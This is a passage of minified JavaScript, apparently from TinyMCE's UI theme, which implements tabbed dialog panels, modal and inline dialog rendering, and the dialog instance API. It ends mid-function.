Focusing.config({}), Keying.config({ mode: 'execution', useSpace: true, useEnter: true }), Representing.config({ store: { mode: 'memory', initialValue: detail.value } }) ]), domModification: detail.domModification }; }; var TabButton = single({ name: 'TabButton', configFields: [ defaulted('uid', undefined), required$1('value'), field$1('dom', 'dom', mergeWithThunk(function () { return { attributes: { 'role': 'tab', 'id': generate$6('aria'), 'aria-selected': 'false' } }; }), anyValue()), option('action'), defaulted('domModification', {}), field('tabButtonBehaviours', [ Focusing, Keying, Representing ]), required$1('view') ], factory: factory$3 }); var schema$1 = constant$1([ required$1('tabs'), required$1('dom'), defaulted('clickToDismiss', false), field('tabbarBehaviours', [ Highlighting, Keying ]), markers$1([ 'tabClass', 'selectedClass' ]) ]); var tabsPart = group({ factory: TabButton, name: 'tabs', unit: 'tab', overrides: function (barDetail) { var dismissTab$1 = function (tabbar, button) { Highlighting.dehighlight(tabbar, button); emitWith(tabbar, dismissTab(), { tabbar: tabbar, button: button }); }; var changeTab$1 = function (tabbar, button) { Highlighting.highlight(tabbar, button); emitWith(tabbar, changeTab(), { tabbar: tabbar, button: button }); }; return { action: function (button) { var tabbar = button.getSystem().getByUid(barDetail.uid).getOrDie(); var activeButton = Highlighting.isHighlighted(tabbar, button); var response = function () { if (activeButton && barDetail.clickToDismiss) { return dismissTab$1; } else if (!activeButton) { return changeTab$1; } else { return noop; } }(); response(tabbar, button); }, domModification: { classes: [barDetail.markers.tabClass] } }; } }); var parts$1 = constant$1([tabsPart]); var factory$2 = function (detail, components, _spec, _externals) { return { 'uid': detail.uid, 'dom': detail.dom, components: components, 'debug.sketcher': 'Tabbar', 'domModification': { attributes: { role: 'tablist' } }, 'behaviours': augment(detail.tabbarBehaviours, [ Highlighting.config({ highlightClass: detail.markers.selectedClass, itemClass: detail.markers.tabClass, onHighlight: function (tabbar, tab) { set$8(tab.element, 'aria-selected', 'true'); }, onDehighlight: function (tabbar, tab) { set$8(tab.element, 'aria-selected', 'false'); } }), Keying.config({ mode: 'flow', getInitial: function (tabbar) { return Highlighting.getHighlighted(tabbar).map(function (tab) { return tab.element; }); }, selector: '.' + detail.markers.tabClass, executeOnMove: true }) ]) }; }; var Tabbar = composite({ name: 'Tabbar', configFields: schema$1(), partFields: parts$1(), factory: factory$2 }); var factory$1 = function (detail, _spec) { return { uid: detail.uid, dom: detail.dom, behaviours: augment(detail.tabviewBehaviours, [Replacing.config({})]), domModification: { attributes: { role: 'tabpanel' } } }; }; var Tabview = single({ name: 'Tabview', configFields: [field('tabviewBehaviours', [Replacing])], factory: factory$1 }); var schema = constant$1([ defaulted('selectFirst', true), onHandler('onChangeTab'), onHandler('onDismissTab'), defaulted('tabs', []), field('tabSectionBehaviours', []) ]); var barPart = required({ factory: Tabbar, schema: [ required$1('dom'), requiredObjOf('markers', [ required$1('tabClass'), required$1('selectedClass') ]) ], name: 'tabbar', defaults: function (detail) { return { tabs: detail.tabs }; } }); var viewPart = required({ factory: Tabview, name: 'tabview' }); var parts = constant$1([ barPart, viewPart ]); var factory = function (detail, components, _spec, _externals) { var changeTab$1 = function (button) { var tabValue = Representing.getValue(button); getPart(button, detail, 'tabview').each(function (tabview) { var tabWithValue = find$5(detail.tabs, function (t) { return t.value === tabValue; }); tabWithValue.each(function (tabData) { var panel = tabData.view(); getOpt(button.element, 'id').each(function (id) { set$8(tabview.element, 'aria-labelledby', id); }); Replacing.set(tabview, panel); detail.onChangeTab(tabview, button, panel); }); }); }; var changeTabBy = function (section, byPred) { getPart(section, detail, 'tabbar').each(function (tabbar) { byPred(tabbar).each(emitExecute); }); }; return { uid: detail.uid, dom: detail.dom, components: components, behaviours: get$2(detail.tabSectionBehaviours), events: derive$2(flatten([ detail.selectFirst ? [runOnAttached(function (section, _simulatedEvent) { changeTabBy(section, Highlighting.getFirst); })] : [], [ run$1(changeTab(), function (section, simulatedEvent) { var button = simulatedEvent.event.button; changeTab$1(button); }), run$1(dismissTab(), function (section, simulatedEvent) { var button = simulatedEvent.event.button; detail.onDismissTab(section, button); }) ] ])), apis: { getViewItems: function (section) { return getPart(section, detail, 'tabview').map(function (tabview) { return Replacing.contents(tabview); }).getOr([]); }, showTab: function (section, tabKey) { var getTabIfNotActive = function (tabbar) { var candidates = Highlighting.getCandidates(tabbar); var optTab = find$5(candidates, function (c) { return Representing.getValue(c) === tabKey; }); return optTab.filter(function (tab) { return !Highlighting.isHighlighted(tabbar, tab); }); }; changeTabBy(section, getTabIfNotActive); } } }; }; var TabSection = composite({ name: 'TabSection', configFields: schema(), partFields: parts(), factory: factory, apis: { getViewItems: function (apis, component) { return apis.getViewItems(component); }, showTab: function (apis, component, tabKey) { apis.showTab(component, tabKey); } } }); var measureHeights = function (allTabs, tabview, tabviewComp) { return map$2(allTabs, function (_tab, i) { Replacing.set(tabviewComp, allTabs[i].view()); var rect = tabview.dom.getBoundingClientRect(); Replacing.set(tabviewComp, []); return rect.height; }); }; var getMaxHeight = function (heights) { return head(sort(heights, function (a, b) { if (a > b) { return -1; } else if (a < b) { return +1; } else { return 0; } })); }; var getMaxTabviewHeight = function (dialog, tabview, tablist) { var documentElement$1 = documentElement(dialog).dom; var rootElm = ancestor(dialog, '.tox-dialog-wrap').getOr(dialog); var isFixed = get$c(rootElm, 'position') === 'fixed'; var maxHeight; if (isFixed) { maxHeight = Math.max(documentElement$1.clientHeight, window.innerHeight); } else { maxHeight = Math.max(documentElement$1.offsetHeight, documentElement$1.scrollHeight); } var tabviewHeight = get$b(tabview); var isTabListBeside = tabview.dom.offsetLeft >= tablist.dom.offsetLeft + get$a(tablist); var currentTabHeight = isTabListBeside ? Math.max(get$b(tablist), tabviewHeight) : tabviewHeight; var dialogTopMargin = parseInt(get$c(dialog, 'margin-top'), 10) || 0; var dialogBottomMargin = parseInt(get$c(dialog, 'margin-bottom'), 10) || 0; var dialogHeight = get$b(dialog) + dialogTopMargin + dialogBottomMargin; var chromeHeight = dialogHeight - currentTabHeight; return maxHeight - chromeHeight; }; var showTab = function (allTabs, comp) { head(allTabs).each(function (tab) { return TabSection.showTab(comp, tab.value); }); }; var setTabviewHeight = function (tabview, height) { set$7(tabview, 'height', height + 'px'); if (!detect$1().browser.isIE()) { set$7(tabview, 'flex-basis', height + 'px'); } else { remove$6(tabview, 'flex-basis'); } }; var updateTabviewHeight = function (dialogBody, tabview, maxTabHeight) { ancestor(dialogBody, '[role="dialog"]').each(function (dialog) { descendant(dialog, '[role="tablist"]').each(function (tablist) { maxTabHeight.get().map(function (height) { set$7(tabview, 'height', '0'); set$7(tabview, 'flex-basis', '0'); return Math.min(height, getMaxTabviewHeight(dialog, tabview, tablist)); }).each(function (height) { setTabviewHeight(tabview, height); }); }); }); }; var getTabview = function (dialog) { return descendant(dialog, '[role="tabpanel"]'); }; var setMode = function (allTabs) { var smartTabHeight = function () { var maxTabHeight = value$1(); var extraEvents = [ runOnAttached(function (comp) { var dialog = comp.element; getTabview(dialog).each(function (tabview) { set$7(tabview, 'visibility', 'hidden'); comp.getSystem().getByDom(tabview).toOptional().each(function (tabviewComp) { var heights = measureHeights(allTabs, tabview, tabviewComp); var maxTabHeightOpt = getMaxHeight(heights); maxTabHeightOpt.fold(maxTabHeight.clear, maxTabHeight.set); }); updateTabviewHeight(dialog, tabview, maxTabHeight); remove$6(tabview, 'visibility'); showTab(allTabs, comp); global$f.requestAnimationFrame(function () { updateTabviewHeight(dialog, tabview, maxTabHeight); }); }); }), run$1(windowResize(), function (comp) { var dialog = comp.element; getTabview(dialog).each(function (tabview) { updateTabviewHeight(dialog, tabview, maxTabHeight); }); }), run$1(formResizeEvent, function (comp, _se) { var dialog = comp.element; getTabview(dialog).each(function (tabview) { var oldFocus = active(getRootNode(tabview)); set$7(tabview, 'visibility', 'hidden'); var oldHeight = getRaw(tabview, 'height').map(function (h) { return parseInt(h, 10); }); remove$6(tabview, 'height'); remove$6(tabview, 'flex-basis'); var newHeight = tabview.dom.getBoundingClientRect().height; var hasGrown = oldHeight.forall(function (h) { return newHeight > h; }); if (hasGrown) { maxTabHeight.set(newHeight); updateTabviewHeight(dialog, tabview, maxTabHeight); } else { oldHeight.each(function (h) { setTabviewHeight(tabview, h); }); } remove$6(tabview, 'visibility'); oldFocus.each(focus$3); }); }) ]; var selectFirst = false; return { extraEvents: extraEvents, selectFirst: selectFirst }; }(); var naiveTabHeight = function () { var extraEvents = []; var selectFirst = true; return { extraEvents: extraEvents, selectFirst: selectFirst }; }(); return { smartTabHeight: smartTabHeight, naiveTabHeight: naiveTabHeight }; }; var SendDataToSectionChannel = 'send-data-to-section'; var SendDataToViewChannel = 'send-data-to-view'; var renderTabPanel = function (spec, backstage) { var storedValue = Cell({}); var updateDataWithForm = function (form) { var formData = Representing.getValue(form); var validData = toValidValues(formData).getOr({}); var currentData = storedValue.get(); var newData = deepMerge(currentData, validData); storedValue.set(newData); }; var setDataOnForm = function (form) { var tabData = storedValue.get(); Representing.setValue(form, tabData); }; var oldTab = Cell(null); var allTabs = map$2(spec.tabs, function (tab) { return { value: tab.name, dom: { tag: 'div', classes: ['tox-dialog__body-nav-item'], innerHtml: backstage.shared.providers.translate(tab.title) }, view: function () { return [Form.sketch(function (parts) { return { dom: { tag: 'div', classes: ['tox-form'] }, components: map$2(tab.items, function (item) { return interpretInForm(parts, item, backstage); }), formBehaviours: derive$1([ Keying.config({ mode: 'acyclic', useTabstopAt: not(isPseudoStop) }), config('TabView.form.events', [ runOnAttached(setDataOnForm), runOnDetached(updateDataWithForm) ]), Receiving.config({ channels: wrapAll([ { key: SendDataToSectionChannel, value: { onReceive: updateDataWithForm } }, { key: SendDataToViewChannel, value: { onReceive: setDataOnForm } } ]) }) ]) }; })]; } }; }); var tabMode = setMode(allTabs).smartTabHeight; return TabSection.sketch({ dom: { tag: 'div', classes: ['tox-dialog__body'] }, onChangeTab: function (section, button, _viewItems) { var name = Representing.getValue(button); emitWith(section, formTabChangeEvent, { name: name, oldName: oldTab.get() }); oldTab.set(name); }, tabs: allTabs, components: [ TabSection.parts.tabbar({ dom: { tag: 'div', classes: ['tox-dialog__body-nav'] }, components: [Tabbar.parts.tabs({})], markers: { tabClass: 'tox-tab', selectedClass: 'tox-dialog__body-nav-item--active' }, tabbarBehaviours: derive$1([Tabstopping.config({})]) }), TabSection.parts.tabview({ dom: { tag: 'div', classes: ['tox-dialog__body-content'] } }) ], selectFirst: tabMode.selectFirst, tabSectionBehaviours: derive$1([ config('tabpanel', tabMode.extraEvents), Keying.config({ mode: 'acyclic' }), Composing.config({ find: function (comp) { return head(TabSection.getViewItems(comp)); } }), Representing.config({ store: { mode: 'manual', getValue: function (tsection) { tsection.getSystem().broadcastOn([SendDataToSectionChannel], {}); return storedValue.get(); }, setValue: function (tsection, value) { storedValue.set(value); tsection.getSystem().broadcastOn([SendDataToViewChannel], {}); } } }) ]) }); }; var dialogChannel = generate$6('update-dialog'); var titleChannel = generate$6('update-title'); var bodyChannel = generate$6('update-body'); var footerChannel = generate$6('update-footer'); var bodySendMessageChannel = generate$6('body-send-message'); var renderBody = function (spec, id, backstage, ariaAttrs) { var renderComponents = function (incoming) { switch (incoming.body.type) { case 'tabpanel': { return [renderTabPanel(incoming.body, backstage)]; } default: { return [renderBodyPanel(incoming.body, backstage)]; } } }; var updateState = function (_comp, incoming) { return Optional.some({ isTabPanel: function () { return incoming.body.type === 'tabpanel'; } }); }; var ariaAttributes = { 'aria-live': 'polite' }; return { dom: { tag: 'div', classes: ['tox-dialog__content-js'], attributes: __assign(__assign({}, id.map(function (x) { return { id: x }; }).getOr({})), ariaAttrs ? ariaAttributes : {}) }, components: [], behaviours: derive$1([ ComposingConfigs.childAt(0), Reflecting.config({ channel: bodyChannel, updateState: updateState, renderComponents: renderComponents, initialData: spec }) ]) }; }; var renderInlineBody = function (spec, contentId, backstage, ariaAttrs) { return renderBody(spec, Optional.some(contentId), backstage, ariaAttrs); }; var renderModalBody = function (spec, backstage) { var bodySpec = renderBody(spec, Optional.none(), backstage, false); return ModalDialog.parts.body(bodySpec); }; var renderIframeBody = function (spec) { var bodySpec = { dom: { tag: 'div', classes: ['tox-dialog__content-js'] }, components: [{ dom: { tag: 'div', classes: ['tox-dialog__body-iframe'] }, components: [craft({ dom: { tag: 'iframe', attributes: { src: spec.url } }, behaviours: derive$1([ Tabstopping.config({}), Focusing.config({}) ]) })] }], behaviours: derive$1([Keying.config({ mode: 'acyclic', useTabstopAt: not(isPseudoStop) })]) }; return ModalDialog.parts.body(bodySpec); }; var isTouch = global$9.deviceType.isTouch(); var hiddenHeader = function (title, close) { return { dom: { tag: 'div', styles: { display: 'none' }, classes: ['tox-dialog__header'] }, components: [ title, close ] }; }; var pClose = function (onClose, providersBackstage) { return ModalDialog.parts.close(Button.sketch({ dom: { tag: 'button', classes: [ 'tox-button', 'tox-button--icon', 'tox-button--naked' ], attributes: { 'type': 'button', 'aria-label': providersBackstage.translate('Close') } }, action: onClose, buttonBehaviours: derive$1([Tabstopping.config({})]) })); }; var pUntitled = function () { return ModalDialog.parts.title({ dom: { tag: 'div', classes: ['tox-dialog__title'], innerHtml: '', styles: { display: 'none' } } }); }; var pBodyMessage = function (message, providersBackstage) { return ModalDialog.parts.body({ dom: { tag: 'div', classes: ['tox-dialog__body'] }, components: [{ dom: { tag: 'div', classes: ['tox-dialog__body-content'] }, components: [{ dom: fromHtml('

    ' + providersBackstage.translate(message) + '

    ') }] }] }); }; var pFooter = function (buttons) { return ModalDialog.parts.footer({ dom: { tag: 'div', classes: ['tox-dialog__footer'] }, components: buttons }); }; var pFooterGroup = function (startButtons, endButtons) { return [ Container.sketch({ dom: { tag: 'div', classes: ['tox-dialog__footer-start'] }, components: startButtons }), Container.sketch({ dom: { tag: 'div', classes: ['tox-dialog__footer-end'] }, components: endButtons }) ]; }; var renderDialog$1 = function (spec) { var _a; var dialogClass = 'tox-dialog'; var blockerClass = dialogClass + '-wrap'; var blockerBackdropClass = blockerClass + '__backdrop'; var scrollLockClass = dialogClass + '__disable-scroll'; return ModalDialog.sketch({ lazySink: spec.lazySink, onEscape: function (comp) { spec.onEscape(comp); return Optional.some(true); }, useTabstopAt: function (elem) { return !isPseudoStop(elem); }, dom: { tag: 'div', classes: [dialogClass].concat(spec.extraClasses), styles: __assign({ position: 'relative' }, spec.extraStyles) }, components: __spreadArray([ spec.header, spec.body ], spec.footer.toArray(), true), parts: { blocker: { dom: fromHtml('
    '), components: [{ dom: { tag: 'div', classes: isTouch ? [ blockerBackdropClass, blockerBackdropClass + '--opaque' ] : [blockerBackdropClass] } }] } }, dragBlockClass: blockerClass, modalBehaviours: derive$1(__spreadArray([ Focusing.config({}), config('dialog-events', spec.dialogEvents.concat([runOnSource(focusin(), function (comp, _se) { Keying.focusIn(comp); })])), config('scroll-lock', [ runOnAttached(function () { add$2(body(), scrollLockClass); }), runOnDetached(function () { remove$2(body(), scrollLockClass); }) ]) ], spec.extraBehaviours, true)), eventOrder: __assign((_a = {}, _a[execute$5()] = ['dialog-events'], _a[attachedToDom()] = [ 'scroll-lock', 'dialog-events', 'alloy.base.behaviour' ], _a[detachedFromDom()] = [ 'alloy.base.behaviour', 'dialog-events', 'scroll-lock' ], _a), spec.eventOrder) }); }; var renderClose = function (providersBackstage) { return Button.sketch({ dom: { tag: 'button', classes: [ 'tox-button', 'tox-button--icon', 'tox-button--naked' ], attributes: { 'type': 'button', 'aria-label': providersBackstage.translate('Close'), 'title': providersBackstage.translate('Close') } }, components: [render$3('close', { tag: 'div', classes: ['tox-icon'] }, providersBackstage.icons)], action: function (comp) { emit(comp, formCancelEvent); } }); }; var renderTitle = function (spec, id, providersBackstage) { var renderComponents = function (data) { return [text(providersBackstage.translate(data.title))]; }; return { dom: { tag: 'div', classes: ['tox-dialog__title'], attributes: __assign({}, id.map(function (x) { return { id: x }; }).getOr({})) }, components: renderComponents(spec), behaviours: derive$1([Reflecting.config({ channel: titleChannel, renderComponents: renderComponents })]) }; }; var renderDragHandle = function () { return { dom: fromHtml('
    ') }; }; var renderInlineHeader = function (spec, titleId, providersBackstage) { return Container.sketch({ dom: fromHtml('
    '), components: [ renderTitle(spec, Optional.some(titleId), providersBackstage), renderDragHandle(), renderClose(providersBackstage) ], containerBehaviours: derive$1([Dragging.config({ mode: 'mouse', blockerClass: 'blocker', getTarget: function (handle) { return closest$1(handle, '[role="dialog"]').getOrDie(); }, snaps: { getSnapPoints: function () { return []; }, leftAttr: 'data-drag-left', topAttr: 'data-drag-top' } })]) }); }; var renderModalHeader = function (spec, providersBackstage) { var pTitle = ModalDialog.parts.title(renderTitle(spec, Optional.none(), providersBackstage)); var pHandle = ModalDialog.parts.draghandle(renderDragHandle()); var pClose = ModalDialog.parts.close(renderClose(providersBackstage)); var components = [pTitle].concat(spec.draggable ? [pHandle] : []).concat([pClose]); return Container.sketch({ dom: fromHtml('
    '), components: components }); }; var getHeader = function (title, backstage) { return renderModalHeader({ title: backstage.shared.providers.translate(title), draggable: backstage.dialog.isDraggableModal() }, backstage.shared.providers); }; var getBusySpec = function (message, bs, providers) { return { dom: { tag: 'div', classes: ['tox-dialog__busy-spinner'], attributes: { 'aria-label': providers.translate(message) }, styles: { left: '0px', right: '0px', bottom: '0px', top: '0px', position: 'absolute' } }, behaviours: bs, components: [{ dom: fromHtml('
    ') }] }; }; var getEventExtras = function (lazyDialog, providers, extra) { return { onClose: function () { return extra.closeWindow(); }, onBlock: function (blockEvent) { ModalDialog.setBusy(lazyDialog(), function (_comp, bs) { return getBusySpec(blockEvent.message, bs, providers); }); }, onUnblock: function () { ModalDialog.setIdle(lazyDialog()); } }; }; var renderModalDialog = function (spec, initialData, dialogEvents, backstage) { var _a; var updateState = function (_comp, incoming) { return Optional.some(incoming); }; return build$1(renderDialog$1(__assign(__assign({}, spec), { lazySink: backstage.shared.getSink, extraBehaviours: __spreadArray([ Reflecting.config({ channel: dialogChannel, updateState: updateState, initialData: initialData }), RepresentingConfigs.memory({}) ], spec.extraBehaviours, true), onEscape: function (comp) { emit(comp, formCancelEvent); }, dialogEvents: dialogEvents, eventOrder: (_a = {}, _a[receive()] = [ Reflecting.name(), Receiving.name() ], _a[attachedToDom()] = [ 'scroll-lock', Reflecting.name(), 'messages', 'dialog-events', 'alloy.base.behaviour' ], _a[detachedFromDom()] = [ 'alloy.base.behaviour', 'dialog-events', 'messages', Reflecting.name(), 'scroll-lock' ], _a) }))); }; var mapMenuButtons = function (buttons) { var mapItems = function (button) { var items = map$2(button.items, function (item) { var cell = Cell(false); return __assign(__assign({}, item), { storage: cell }); }); return __assign(__assign({}, button), { items: items }); }; return map$2(buttons, function (button) { if (button.type === 'menu') { return mapItems(button); } return button; }); }; var extractCellsToObject = function (buttons) { return foldl(buttons, function (acc, button) { if (button.type === 'menu') { var menuButton = button; return foldl(menuButton.items, function (innerAcc, item) { innerAcc[item.name] = item.storage; return innerAcc; }, acc); } return acc; }, {}); }; var initCommonEvents = function (fireApiEvent, extras) { return [ runWithTarget(focusin(), onFocus), fireApiEvent(formCloseEvent, function (_api, spec) { extras.onClose(); spec.onClose(); }), fireApiEvent(formCancelEvent, function (api, spec, _event, self) { spec.onCancel(api); emit(self, formCloseEvent); }), run$1(formUnblockEvent, function (_c, _se) { return extras.onUnblock(); }), run$1(formBlockEvent, function (_c, se) { return extras.onBlock(se.event); }) ]; }; var initUrlDialog = function (getInstanceApi, extras) { var fireApiEvent = function (eventName, f) { return run$1(eventName, function (c, se) { withSpec(c, function (spec, _c) { f(getInstanceApi(), spec, se.event, c); }); }); }; var withSpec = function (c, f) { Reflecting.getState(c).get().each(function (currentDialog) { f(currentDialog, c); }); }; return __spreadArray(__spreadArray([], initCommonEvents(fireApiEvent, extras), true), [fireApiEvent(formActionEvent, function (api, spec, event) { spec.onAction(api, { name: event.name }); })], false); }; var initDialog = function (getInstanceApi, extras, getSink) { var fireApiEvent = function (eventName, f) { return run$1(eventName, function (c, se) { withSpec(c, function (spec, _c) { f(getInstanceApi(), spec, se.event, c); }); }); }; var withSpec = function (c, f) { Reflecting.getState(c).get().each(function (currentDialogInit) { f(currentDialogInit.internalDialog, c); }); }; return __spreadArray(__spreadArray([], initCommonEvents(fireApiEvent, extras), true), [ fireApiEvent(formSubmitEvent, function (api, spec) { return spec.onSubmit(api); }), fireApiEvent(formChangeEvent, function (api, spec, event) { spec.onChange(api, { name: event.name }); }), fireApiEvent(formActionEvent, function (api, spec, event, component) { var focusIn = function () { return Keying.focusIn(component); }; var isDisabled = function (focused) { return has$1(focused, 'disabled') || getOpt(focused, 'aria-disabled').exists(function (val) { return val === 'true'; }); }; var rootNode = getRootNode(component.element); var current = active(rootNode); spec.onAction(api, { name: event.name, value: event.value }); active(rootNode).fold(focusIn, function (focused) { if (isDisabled(focused)) { focusIn(); } else if (current.exists(function (cur) { return contains(focused, cur) && isDisabled(cur); })) { focusIn(); } else { getSink().toOptional().filter(function (sink) { return !contains(sink.element, focused); }).each(focusIn); } }); }), fireApiEvent(formTabChangeEvent, function (api, spec, event) { spec.onTabChange(api, { newTabName: event.name, oldTabName: event.oldName }); }), runOnDetached(function (component) { var api = getInstanceApi(); Representing.setValue(component, api.getData()); }) ], false); }; var SilverDialogEvents = { initUrlDialog: initUrlDialog, initDialog: initDialog }; var makeButton = function (button, backstage) { return renderFooterButton(button, button.type, backstage); }; var lookup = function (compInSystem, footerButtons, buttonName) { return find$5(footerButtons, function (button) { return button.name === buttonName; }).bind(function (memButton) { return memButton.memento.getOpt(compInSystem); }); }; var renderComponents = function (_data, state) { var footerButtons = state.map(function (s) { return s.footerButtons; }).getOr([]); var buttonGroups = partition$3(footerButtons, function (button) { return button.align === 'start'; }); var makeGroup = function (edge, buttons) { return Container.sketch({ dom: { tag: 'div', classes: ['tox-dialog__footer-' + edge] }, components: map$2(buttons, function (button) { return button.memento.asSpec(); }) }); }; var startButtons = makeGroup('start', buttonGroups.pass); var endButtons = makeGroup('end', buttonGroups.fail); return [ startButtons, endButtons ]; }; var renderFooter = function (initSpec, backstage) { var updateState = function (_comp, data) { var footerButtons = map$2(data.buttons, function (button) { var memButton = record(makeButton(button, backstage)); return { name: button.name, align: button.align, memento: memButton }; }); var lookupByName = function (compInSystem, buttonName) { return lookup(compInSystem, footerButtons, buttonName); }; return Optional.some({ lookupByName: lookupByName, footerButtons: footerButtons }); }; return { dom: fromHtml(''), components: [], behaviours: derive$1([Reflecting.config({ channel: footerChannel, initialData: initSpec, updateState: updateState, renderComponents: renderComponents })]) }; }; var renderInlineFooter = function (initSpec, backstage) { return renderFooter(initSpec, backstage); }; var renderModalFooter = function (initSpec, backstage) { return ModalDialog.parts.footer(renderFooter(initSpec, backstage)); }; var getCompByName = function (access, name) { var root = access.getRoot(); if (root.getSystem().isConnected()) { var form_1 = Composing.getCurrent(access.getFormWrapper()).getOr(access.getFormWrapper()); return Form.getField(form_1, name).fold(function () { var footer = access.getFooter(); var footerState = Reflecting.getState(footer); return footerState.get().bind(function (f) { return f.lookupByName(form_1, name); }); }, function (comp) { return Optional.some(comp); }); } else { return Optional.none(); } }; var validateData$1 = function (access, data) { var root = access.getRoot(); return Reflecting.getState(root).get().map(function (dialogState) { return getOrDie(asRaw('data', dialogState.dataValidator, data)); }).getOr(data); }; var getDialogApi = function (access, doRedial, menuItemStates) { var withRoot = function (f) { var root = access.getRoot(); if (root.getSystem().isConnected()) { f(root); } }; var getData = function () { var root = access.getRoot(); var valueComp = root.getSystem().isConnected() ? access.getFormWrapper() : root; var representedValues = Representing.getValue(valueComp); var menuItemCurrentState = map$1(menuItemStates, function (cell) { return cell.get(); }); return __assign(__assign({}, representedValues), menuItemCurrentState); }; var setData = function (newData) { withRoot(function (_) { var prevData = instanceApi.getData(); var mergedData = __assign(__assign({}, prevData), newData); var newInternalData = validateData$1(access, mergedData); var form = access.getFormWrapper(); Representing.setValue(form, newInternalData); each(menuItemStates, function (v, k) { if (has$2(mergedData, k)) { v.set(mergedData[k]); } }); }); }; var disable = function (name) { getCompByName(access, name).each(Disabling.disable); }; var enable = function (name) { getCompByName(access, name).each(Disabling.enable); }; var focus = function (name) { getCompByName(access, name).each(Focusing.focus); }; var block = function (message) { if (!isString(message)) { throw new Error('The dialogInstanceAPI.block function should be passed a blocking message of type string as an argument'); } withRoot(function (root) { emitWith(root, formBlockEvent, { message: message }); }); }; var unblock = function () { withRoot(function (root) { emit(root, formUnblockEvent); }); }; var showTab = function (name) { withRoot(function (_) { var body = access.getBody(); var bodyState = Reflecting.getState(body); if (bodyState.get().exists(function (b) { return b.isTabPanel(); })) { Composing.getCurrent(body).each(function (tabSection) { TabSection.showTab(tabSection, name); }); } }); }; var redial = function (d) { withRoot(function (root) { var dialogInit = doRedial(d); root.getSystem().broadcastOn([dialogChannel], dialogInit); root.getSystem().broadcastOn([titleChannel], dialogInit.internalDialog); root.getSystem().broadcastOn([bodyChannel], dialogInit.internalDialog); root.getSystem().broadcastOn([footerChannel], dialogInit.internalDialog); instanceApi.setData(dialogInit.initialData); }); }; var close = function () { withRoot(function (root) { emit(root, formCloseEvent); }); }; var instanceApi = { getData: getData, setData: setData, disable: disable, enable: enable, focus: focus, block: block, unblock: unblock, showTab: showTab, redial: redial, close: close }; return instanceApi; }; var getDialogSizeClasses = function (size) { switch (size) { case 'large': return ['tox-dialog--width-lg']; case 'medium': return ['tox-dialog--width-md']; default: return []; } }; var renderDialog = function (dialogInit, extra, backstage) { var header = getHeader(dialogInit.internalDialog.title, backstage); var body = renderModalBody({ body: dialogInit.internalDialog.body }, backstage); var storagedMenuButtons = mapMenuButtons(dialogInit.internalDialog.buttons); var objOfCells = extractCellsToObject(storagedMenuButtons); var footer = renderModalFooter({ buttons: storagedMenuButtons }, backstage); var dialogEvents = SilverDialogEvents.initDialog(function () { return instanceApi; }, getEventExtras(function () { return dialog; }, backstage.shared.providers, extra), backstage.shared.getSink); var dialogSize = getDialogSizeClasses(dialogInit.internalDialog.size); var spec = { header: header, body: body, footer: Optional.some(footer), extraClasses: dialogSize, extraBehaviours: [], extraStyles: {} }; var dialog = renderModalDialog(spec, dialogInit, dialogEvents, backstage); var modalAccess = function () { var getForm = function () { var outerForm = ModalDialog.getBody(dialog); return Composing.getCurrent(outerForm).getOr(outerForm); }; return { getRoot: constant$1(dialog), getBody: function () { return ModalDialog.getBody(dialog); }, getFooter: function () { return ModalDialog.getFooter(dialog); }, getFormWrapper: getForm }; }(); var instanceApi = getDialogApi(modalAccess, extra.redial, objOfCells); return { dialog: dialog, instanceApi: instanceApi }; }; var renderInlineDialog = function (dialogInit, extra, backstage, ariaAttrs) { var _a, _b; var dialogLabelId = generate$6('dialog-label'); var dialogContentId = generate$6('dialog-content'); var updateState = function (_comp, incoming) { return Optional.some(incoming); }; var memHeader = record(renderInlineHeader({ title: dialogInit.internalDialog.title, draggable: true }, dialogLabelId, backstage.shared.providers)); var memBody = record(renderInlineBody({ body: dialogInit.internalDialog.body }, dialogContentId, backstage, ariaAttrs)); var storagedMenuButtons = mapMenuButtons(dialogInit.internalDialog.buttons); var objOfCells = extractCellsToObject(storagedMenuButtons); var memFooter = record(renderInlineFooter({ buttons: storagedMenuButtons }, backstage)); var dialogEvents = SilverDialogEvents.initDialog(function () { return instanceApi; }, { onBlock: function (event) { Blocking.block(dialog, function (_comp, bs) { return getBusySpec(event.message, bs, backstage.shared.providers); }); }, onUnblock: function () { Blocking.unblock(dialog); }, onClose: function () { return extra.closeWindow(); } }, backstage.shared.getSink); var dialog = build$1({ dom: { tag: 'div', classes: [ 'tox-dialog', 'tox-dialog-inline' ], attributes: (_a = { role: 'dialog' }, _a['aria-labelledby'] = dialogLabelId, _a['aria-describedby'] = dialogContentId, _a) }, eventOrder: (_b = {}, _b[receive()] = [ Reflecting.name(), Receiving.name() ], _b[execute$5()] = ['execute-on-form'], _b[attachedToDom()] = [ 'reflecting', 'execute-on-form' ], _b), behaviours: derive$1([ Keying.config({ mode: 'cyclic', onEscape: function (c) { emit(c, formCloseEvent); return Optional.some(true); }, useTabstopAt: function (elem) { return !isPseudoStop(elem) && (name$2(elem) !== 'button' || get$d(elem, 'disabled') !== 'disabled'); } }), Reflecting.config({ channel: dialogChannel, updateState: updateState, initialData: dialogInit }), Focusing.config({}), config('execute-on-form', dialogEvents.concat([runOnSource(focusin(), function (comp, _se) { Keying.focusIn(comp); })])), Blocking.config({ getRoot: function () { return Optional.some(dialog); } }), Replacing.config({}), RepresentingConfigs.memory({}) ]), components: [ memHeader.asSpec(), memBody.asSpec(), memFooter.asSpec() ] }); var instanceApi = getDialogApi({ getRoot: constant$1(dialog), getFooter: function () { return memFooter.get(dialog); }, getBody: function () { return memBody.get(dialog); }, getFormWrapper: function () { var body = memBody.get(dialog); return Composing.getCurrent(body).getOr(body); } }, extra.redial, objOfCells); return { dialog: dialog, instanceApi: instanceApi }; }; var global$1 = tinymce.util.Tools.resolve('tinymce.util.URI'); var getUrlDialogApi = function (root) { var withRoot = function (f) { if (root.getSystem().isConnected()) { f(root); } }; var block = function (message) { if (!isString(message)) { throw new Error('The urlDialogInstanceAPI.block function should be passed a blocking message of type string as an argument'); } withRoot(function (root) { emitWith(root, formBlockEvent, { message: message }); }); }; var unblock = function () { withRoot(function (root) { emit(root, formUnblockEvent); }); }; var close = function () { withRoot(function (root) { emit(root, formCloseEvent); }); }; var sendMessage = function (data) { withRoot(function (root) { root.getSystem().broadcastOn([bodySendMessageChannel], data); }); }; return { block: block, unblock: unblock, close: close, sendMessage: sendMessage }; }; var SUPPORTED_MESSAGE_ACTIONS = [ 'insertContent', 'setContent', 'execCommand', 'close', 'block', 'unblock' ]; var isSupportedMessage = function (data) { return isObject(data) && SUPPORTED_MESSAGE_ACTIONS.indexOf(data.mceAction) !== -1; }; var isCustomMessage = function (data) { return 